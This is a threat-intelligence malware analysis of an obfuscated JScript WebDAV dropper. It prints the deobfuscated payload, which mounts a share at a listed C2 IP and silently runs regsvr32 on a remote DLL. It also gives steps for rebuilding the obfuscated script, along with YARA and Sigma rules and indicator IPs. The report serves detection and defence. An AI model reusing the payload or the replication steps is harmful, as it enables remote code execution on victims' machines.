unclassified-js-webdav-dropper: e0e66a94 — 52-variable sequential-reassignment JScript variant, 193.143.1.231:8888

Executive Summary

JScript WebDAV dropper and 82nd confirmed sibling of the unclassified-js-webdav-dropper cluster. Uses sequential variable-reassignment obfuscation (52 unique identifiers, 148 total assignments, last-wins semantics) feeding eval() to mount a WebDAV share at 193.143.1.231:8888 and silently register 306652111416219.dll via regsvr32 /s. No PowerShell wrapper, no wordpad decoy, no sandbox gate, no batch/polyglot layer. Static-only analysis. Third sibling in the 193.143.1.231:8888 sub-cluster. ^[/intel/analyses/e0e66a94ef884c83d0eb74e0c67a97362661cce78a1c26b09f3b11fbd6f8b2dc.html]

What It Is

Build: hand-rolled obfuscation, no commercial packer or crypter signatures. No PE — CAPE skipped as unsupported binary class. ^[dynamic-analysis.md]

How It Works

The entire script is a single line. A wrapper function ltwcfwzev() contains this[EXPR1](EXPR2) where EXPR1 resolves to eval and EXPR2 is the payload, also built from variable concatenation. After the function definition, 148 sequential varname="value"; assignments overwrite 52 unique identifiers. Only the last value per identifier matters at runtime. ^[strings.txt:1]

When deobfuscated, the payload is:

this['WScript']['CreateObject']('WScript.Shell')['Run'](
  'cmd /c cmd /c net use \\\\193.143.1.231@8888\\davwwwroot\\'
  + '&&cmd /c regsvr32 /s \\\\193.143.1.231@8888\\davwwwroot\\306652111416219.dll',
  0, false
);

Key observations:

• Double cmd /c prefix (redundant, family-typical in some variants).
• Run() with window=0, wait=false — hidden execution, fire-and-forget. ^[strings.txt:1]
• No PowerShell wrapper, no wordpad decoy, no timeout anti-emulation gate, no batch/polyglot layer — minimal one-shot execution chain.
• The 193.143.1.231:8888 C2 IP is shared with siblings fd437971 (67th) and be448b37 (75th). ^[entities/unclassified-js-webdav-dropper.md]

Decompiled Behavior

Not applicable — sample is JScript, not a PE binary. No Ghidra/radare2 analysis performed. Static deobfuscation was performed via automated variable-resolution script. ^[strings.txt:1]

C2 Infrastructure

No domains, no HTTP URLs beyond the WebDAV UNC, no persistence mechanism, no exfil channel, no sandbox gate.

Interesting Tidbits

• 52 unique variables, 148 total assignments — fewer variables than the German-locale dropper d3d22298 (84 vars, 1,949 assignments) but denser per-variable overwrites. The variable names are fully random lowercase noise (8–15 chars), no semantic content. ^[strings.txt:1]
• No dictionary object — unlike the 62-entry and 36-entry dictionary variants in this family, this sample uses pure concatenation with no Function('return this')() lookup table. This places it in the same dialect as fd437971 and be448b37.
• Numeric filename — 531725967288343365.js (18 digits) is consistent with the family's naming convention for JScript variants.
• No batch layer — pure JScript, not a polyglot. The WScript.Shell.Run call spawns cmd.exe directly.
• Payload filename length — 306652111416219.dll is 15 digits, shorter than many siblings (which range 11–17 digits).

How To Mess With It (Homelab Replication)

1. Write a JS file with 52 unique variables, each assigned a character value 2–4 times in sequence.
2. Build a payload string by concatenating the final values: WScript.CreateObject('WScript.Shell').Run('cmd /c net use ... && regsvr32 /s ...', 0, false).
3. Wrap in function x(){this[eval](payload);} x();.
4. Save as .js and run with wscript.exe on a Windows VM.
5. Verify with ProcMon: wscript.exe → cmd.exe → net.exe → regsvr32.exe loading DLL from UNC.

Deployable Signatures

YARA Rule

rule JS_WebDAV_SequentialVar_Reassignment {
    meta:
        description = "JScript WebDAV dropper with sequential variable reassignment obfuscation"
        author = "PacketPursuit"
        date = "2026-07-21"
        family = "unclassified-js-webdav-dropper"
        hash = "e0e66a94ef884c83d0eb74e0c67a97362661cce78a1c26b09f3b11fbd6f8b2dc"
    strings:
        $func = /function [a-z]{10,15}\(\)\{this\[[a-z+]+\]\([a-z+]+\);\}/
        $var_seq = /[a-z]{8,15}\s*=\s*"[a-zA-Z0-9]"\s*;/
        $dav = "davwwwroot" nocase
        $regsvr = "regsvr32" nocase
        $net_use = "net use" nocase
    condition:
        filesize < 20KB and
        #var_seq > 100 and
        $func and
        $dav and
        ($regsvr or $net_use)
}

Sigma Rule

title: JScript WebDAV Dropper Execution — Regsvr32 with UNC Path
logsource:
    category: process_creation
    product: windows
detection:
    selection_webdav:
        CommandLine|contains:
            - 'davwwwroot'
            - '@8888'
    selection_regsvr:
        Image|endswith: '\regsvr32.exe'
        CommandLine|contains: '\\'
    selection_parent:
        ParentImage|endswith:
            - '\wscript.exe'
            - '\cscript.exe'
    condition: selection_webdav and selection_regsvr and selection_parent
falsepositives:
    - Legitimate WebDAV-based software deployment (rare)
level: high

IOC List

Behavioral Fingerprint

This JScript dropper runs entirely within wscript.exe or cscript.exe. On execution it resolves ~52 random noise variables via last-wins sequential assignment, concatenates them into an eval() payload that creates a WScript.Shell COM object, and calls .Run() with a hidden window flag to spawn cmd.exe. The command mounts a WebDAV share at \\IP@8888\davwwwroot\ via net use and then silently registers a remote DLL via regsvr32 /s. No PowerShell wrapper, no persistence, no sandbox gate. Process tree: wscript.exe → cmd.exe → regsvr32.exe (with UNC path). The DLL filename is a long numeric string (11–18 digits). The C2 IP has been observed at 193.143.1.231, 45.9.74.13, 45.9.74.32, 45.9.74.36, and 94.159.113.x across 82 siblings.

Detection Signatures

References

• unclassified-js-webdav-dropper — family entity page (82 confirmed siblings)
• jscript-sequential-variable-reassignment-eval — obfuscation technique page
• webdav-regsvr32-dll-sideloading — execution chain technique page
• Sibling fd437971 — first observed sequential-reassignment variant, same C2 IP ^[/intel/analyses/fd4379716372c8a310cd664a0401a08aa5d40f94e66b381fd8aacfc29b6efb7a.html]
• Sibling be448b37 — second sequential-reassignment variant, same C2 IP ^[/intel/analyses/be448b375bed8d627601b42d6b1f1d0de59f4ff1e09ab17a3a1abd2a51af1183.html]

Provenance

• File type: file utility ^[file.txt]
• Strings: strings on raw JScript ^[strings.txt:1]
• Deobfuscation: custom Python resolver (52 variables, 148 assignments, last-wins semantics)
• No CAPE detonation — JScript is not a supported binary class for the sandbox ^[dynamic-analysis.md]